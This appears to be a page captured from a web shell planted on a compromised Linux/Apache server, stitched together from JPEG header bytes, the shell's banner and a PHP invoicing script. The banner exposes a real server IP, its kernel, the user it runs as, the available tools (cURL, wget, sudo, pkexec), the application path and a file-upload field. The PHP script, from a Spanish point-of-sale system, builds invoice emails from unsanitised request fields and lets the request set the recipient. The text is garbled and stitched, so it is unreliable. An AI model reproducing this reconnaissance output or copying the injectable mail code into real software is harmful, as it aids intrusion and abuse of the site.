����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.15.148.76 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/pos11/core/app/action/ |
Upload File : |
<?php $s =$_GET['id']; $sale_id = $_POST['sale_id']; $sells = SellData::getById($s); $cart = OperationData::getByc($sale_id); $total=0; foreach($sells as $sell){ $total = $sell->total + $total; // } $usuario = $_POST['user_to']; ////////////////// generando el mensaje $subject = "[".$s."] Facturacion"; $message = "<p>Se Genero una factura Id = ".$s."</p>"; $person_th=""; $person_td=""; $person_th="<td>".$usuario."</td>"; $person_td="<td>Sistema de Facturacion AppSAE 4.0</td>"; $message .= "<table border='1'> <tr> <td>Id</td> $person_th <td>Almacen</td> <td>Estado de pago</td> <td>Estado de entrega</td> <td>Total</td> </tr> <tr> <td>".$s."</td> $person_td <td>Inventario Principal</td> <td>Pagada</td> <td>Entregada</td> <td>".$total."</td> </tr> </table>"; $message.="<h3 style='color:#333;'>Resumen</h3>"; $message.="<table border='1'><thead><th>Id</th><th>Codigo</th><th>Cantidad</th><th>Unidad</th><th>Producto</th><th>P.U</th><th>P. Total</th></thead>"; foreach($cart as $c){ $message.="<tr>"; $product = ProductData::getBycode($c->barcode); $message.="<td>".$product->id."</td>"; $message.="<td>".$product->barcode."</td>"; $message.="<td>".$c->qty."</td>"; $message.="<td>".$product->unit."</td>"; $message.="<td>".$product->name."</td>"; $message.="<td>$ ".number_format($product->price_out,2,".",",")."</td>"; $message.="<td>$ ".number_format($c->qty*$product->price_out,2,".",",")."</td>"; $message.="</tr>"; } $nota = $_POST['message']; $message.="<tr>".$nota."</tr>"; $message.="</table>"; ////////////////// if($subject!=""&&$message!=""){ $m = new MailData(); $m->open(); $m->mail->Subject = $subject; $m->message = "<p>$message</p>"; $m->mail->IsHTML(true); //enviar a destinatario $address_to = $_POST['email']; if($address_to != ""){ $m->mail->AddAddress($address_to); }else{ $address_to = "syusa19802017@gmail.com"; $m->mail->AddAddress($address_to); } //archivos adjuntos $archivo = "C:\xampp\htdocs\pos36\pos11\timbrados\cfdi_factura_".$sale_id.".pdf"; $archivo2 = "C:\xampp\htdocs\pos36\pos11\timbrados\cfdi_factura_".$sale_id.".png"; $archivo3 = 'C:\xampp\htdocs\pos36\pos11\timbrados\cfdi_factura_'.$sale_id.'.xml'; $m->mail->AddAttachment($archivo); $m->mail->AddAttachment($archivo2); $m->mail->AddAttachment($archivo3); $m->send(); } ////////////////// print "<script>window.location='index.php?view=sellsFac';</script>"; ?>